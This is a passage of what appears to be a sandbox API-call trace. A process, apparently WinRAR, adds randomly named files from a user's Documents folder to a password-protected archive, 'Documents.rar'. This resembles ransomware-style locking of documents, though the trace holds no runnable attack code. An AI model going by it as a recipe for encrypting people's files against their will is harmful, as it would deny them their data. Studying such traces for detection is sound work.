wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.109] GetFocus () returned 0x0 [0068.109] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.109] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.109] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.109] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b00, Size=0x48) returned 0x39db40 [0068.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.109] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b00, Size=0x48) returned 0x39daf0 [0068.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.109] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b30 | out: hHeap=0x2e0000) returned 1 [0068.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b00 | out: hHeap=0x2e0000) returned 1 [0068.109] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ad0, Size=0x48) returned 0x39db40 [0068.109] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.110] GetTickCount () returned 0xa67522 [0068.111] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14345092208) returned 1 [0068.111] GetTickCount () returned 0xa67522 [0068.111] GetTickCount () returned 0xa67522 [0068.111] GetTickCount () returned 0xa67522 [0068.111] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.111] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.111] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.111] ResetEvent (hEvent=0x1a4) returned 1 [0068.111] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.112] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.112] ResetEvent (hEvent=0x1a4) returned 1 [0068.112] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.116] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.116] ResetEvent (hEvent=0x1a4) returned 1 [0068.116] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.119] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.119] GetTickCount () returned 0xa67522 [0068.119] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14345949860) returned 1 [0068.119] GetTickCount () returned 0xa67522 [0068.119] GetTickCount () returned 0xa67522 [0068.119] GetTickCount () returned 0xa67522 [0068.119] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.119] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.119] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.119] ResetEvent (hEvent=0x190) returned 1 [0068.119] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.120] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.120] ResetEvent (hEvent=0x190) returned 1 [0068.120] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.121] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.121] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.121] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.121] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x110ca1 [0068.121] SetFilePointer (in: hFile=0x198, lDistanceToMove=106, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x110d0b [0068.121] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.121] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.121] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.121] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.121] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x14da0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x14da0, lpOverlapped=0x0) returned 1 [0068.123] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.123] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.123] SetFilePointer (in: hFile=0x198, lDistanceToMove=1117345, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x110ca1 [0068.123] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x110ca1 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b00, Size=0x48) returned 0x39daf0 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b00, Size=0x48) returned 0x39db40 [0068.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b30 | out: hHeap=0x2e0000) returned 1 [0068.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b00 | out: hHeap=0x2e0000) returned 1 [0068.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ad0, Size=0x48) returned 0x39daf0 [0068.123] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.123] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6a, lpOverlapped=0x0) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6a) returned 0x3b4b990 [0068.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.123] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x125aab [0068.123] CloseHandle (hObject=0x1b0) returned 1 [0068.123] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.123] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.123] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.123] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.123] FindFirstFileW (in: lpFileName="GIwIhnYq\\gJxsA3QDXPNzu_.pps", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.123] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.123] CreateFileW (lpFileName="GIwIhnYq\\gJxsA3QDXPNzu_.pps" (normalized: "c:\\users\\whuoxysd\\documents\\giwihnyq\\gjxsa3qdxpnzu_.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.124] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.124] GetTickCount () returned 0xa67522 [0068.124] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.124] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.124] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.124] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.124] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="4aTOLAatL.rtf") returned 13 [0068.124] SetWindowTextW (hWnd=0x10280, lpString="gJxsA3QDXPNzu_.pps") returned 1 [0068.124] GetTickCount () returned 0xa67532 [0068.124] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.124] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.125] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.125] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.125] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x2f3)) [0068.125] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.125] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14346517970) returned 1 [0068.125] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x1184d, lpOverlapped=0x0) returned 1 [0068.126] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b188d, nNumberOfBytesToRead=0xee7b3, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b188d*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.126] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.126] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.126] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b30, Size=0x48) returned 0x39db40 [0068.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.126] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b30, Size=0x48) returned 0x39daf0 [0068.126] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.126] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.126] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.126] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b60 | out: hHeap=0x2e0000) returned 1 [0068.126] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b30 | out: hHeap=0x2e0000) returned 1 [0068.126] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b00, Size=0x48) returned 0x39db40 [0068.126] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.126] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.126] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.129] GetTickCount () returned 0xa67532 [0068.129] GetLastError () returned 0x0 [0068.129] SetLastError (dwErrCode=0x0) [0068.129] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.129] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.129] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.129] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.129] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14346921669) returned 1 [0068.129] GetTickCount () returned 0xa67532 [0068.129] GetTickCount () returned 0xa67532 [0068.129] GetTickCount () returned 0xa67532 [0068.129] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.129] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.129] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.129] ResetEvent (hEvent=0x1a4) returned 1 [0068.129] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.132] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.132] ResetEvent (hEvent=0x1a4) returned 1 [0068.132] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.134] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.134] ResetEvent (hEvent=0x1a4) returned 1 [0068.134] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.136] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.136] GetTickCount () returned 0xa67532 [0068.136] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14347922753) returned 1 [0068.139] GetTickCount () returned 0xa67532 [0068.139] GetTickCount () returned 0xa67532 [0068.139] GetTickCount () returned 0xa67532 [0068.139] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.139] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.139] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.139] ResetEvent (hEvent=0x190) returned 1 [0068.139] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.140] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.140] ResetEvent (hEvent=0x190) returned 1 [0068.140] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.141] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.141] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0068.141] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0068.141] GetFocus () returned 0x0 [0068.141] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0068.141] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0068.141] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.141] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x125aab [0068.141] SetFilePointer (in: hFile=0x198, lDistanceToMove=111, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x125b1a [0068.141] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.141] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.141] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.141] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.141] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x118e0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x118e0, lpOverlapped=0x0) returned 1 [0068.142] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.142] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.142] SetFilePointer (in: hFile=0x198, lDistanceToMove=1202859, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x125aab [0068.142] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x125aab [0068.142] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.142] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.142] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b30, Size=0x48) returned 0x39daf0 [0068.142] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.142] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.142] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b30, Size=0x48) returned 0x39db40 [0068.142] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.142] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.143] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b30 [0068.143] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b60 [0068.143] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b60 | out: hHeap=0x2e0000) returned 1 [0068.143] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b30 | out: hHeap=0x2e0000) returned 1 [0068.143] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b00, Size=0x48) returned 0x39daf0 [0068.143] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.143] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6f, lpOverlapped=0x0) returned 1 [0068.143] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.143] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6f) returned 0x3b4ba10 [0068.143] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.143] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.143] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1373fa [0068.143] CloseHandle (hObject=0x1b0) returned 1 [0068.143] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.143] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.143] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.143] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.143] FindFirstFileW (in: lpFileName="HaxwmHj 0CtV7r4.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.143] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.143] CreateFileW (lpFileName="HaxwmHj 0CtV7r4.docx" (normalized: "c:\\users\\whuoxysd\\documents\\haxwmhj 0ctv7r4.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.143] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.143] GetTickCount () returned 0xa67541 [0068.143] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.143] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.143] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.143] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.143] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="gJxsA3QDXPNzu_.pps") returned 18 [0068.143] SetWindowTextW (hWnd=0x10280, lpString="HaxwmHj 0CtV7r4.docx") returned 1 [0068.144] GetTickCount () returned 0xa67541 [0068.144] UpdateWindow (hWnd=0x10278) returned 1 [0068.144] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.144] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.144] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.144] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.144] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x302)) [0068.144] SystemTimeToFileTime (in: 